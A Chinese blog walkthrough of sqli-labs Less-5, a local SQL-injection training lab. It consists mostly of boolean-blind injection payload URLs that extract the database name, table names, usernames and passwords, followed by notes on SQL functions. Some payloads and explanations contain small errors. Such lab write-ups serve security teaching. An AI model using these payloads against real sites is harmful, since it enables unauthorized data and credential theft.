sqli-labs-master第五关Less-5 Double Query- Single：方式一

由于第三四关和第一第二关大致相同，我就不写了。

接下来来写第五关的第一种方式。

1，目标网站：

<a href="http://127.0.0.1/sqli-labs-master/Less-5/?id=1">http://127.0.0.1/sqli-labs-master/Less-5/?id=1</a>

当传递的ID为1的时候提示“you are in”

2，查找注入点：  

当输入上面的url的时候就报错了。我们可以从箭头处看到报错的原因。

说明把“1’”带入数据库查询了，所以存在注入点

3，查看版本信息：

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and left(version(),1)=5 %23

返回正常

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and left(version(),1)=4 %23

返回错误 所以数据库版本是5.0

4，判断数据库长度：

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 7 %23

返回错误

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 8 %23

返回正确

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 9 %23

所以数据库的名称是8位构成

5，猜测数据库名称（从第一位开始猜）：

1&gt;猜第1位

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)&gt;'a' %23

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)&gt;'z' %23

说明第一位在a和z之间

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)&gt;'s' %23

所以第一位是s

1&gt;猜第2位

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)&gt;'sa' %23

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)&gt;'sz' %23

说明第二位在a和z之间

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)&gt;'se' %23

所以第二位是e

以此类推，直到推出第8位：最后数据库为security

6，猜测数据库（security）中的表：

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))&gt;n

说明：

a是从0开始第几个表，b是为第几个字符，n是ASCII所对应的十进制数

7，猜用户：

其中S 为数据库名；M为表名；A为第几个用户；B为第几个字符；N为ASCII码所对应的十进制数。

8.猜用户和密码：

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and ord(mid((select ifnull(cast(username as char),0x20)from S.Morder by id limit A,1),B,1))=N %23 

例：http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and ord(mid((select ifnull(cast(password as char),0x20)from security.users order by id limit 0,1),1,1))=68 %23

附录：

substr（）用于字符串加减

ord（）将ASCLL码值转换为字符 示例: ord('a')表示a在ASSCLL码中的序号,为97; ord('b')表示b在ASSCLL码中的序号,为98; 

mid（） ：字符串截取函数

语法： mid（字符串，指定截取位数，截取N个）

示例

B6=123456789abcdef      =mid（B6,1,13）    结果= 123456789abcd    

IFNULL(expr1,expr2)  

如果 expr1 不是 NULL，IFNULL() 返回 expr1，否则它返回 expr2。

cast（）函数：

参考博客：http://www.studyofnet.com/news/109.html

(1).CAST()函数的参数是一个表达式，它包括用AS关键字分隔的源值和目标数据类型。以下例子用于将文本字符串'12'转换为整型:

SELECT CAST('12' AS int)

(2).返回值是整型值12。如果试图将一个代表小数的字符串转换为整型值，又会出现什么情况呢？

SELECT CAST('12.5' AS int) 

(3).CAST()函数和CONVERT()函数都不能执行四舍五入或截断操作。由于12.5不能用int数据类型来表示，所以对这个函数调用将产生一个错误:

微信公众号

本文转自 天道酬勤VIP 51CTO博客，原文链接:http://blog.51cto.com/tdcqvip/2062354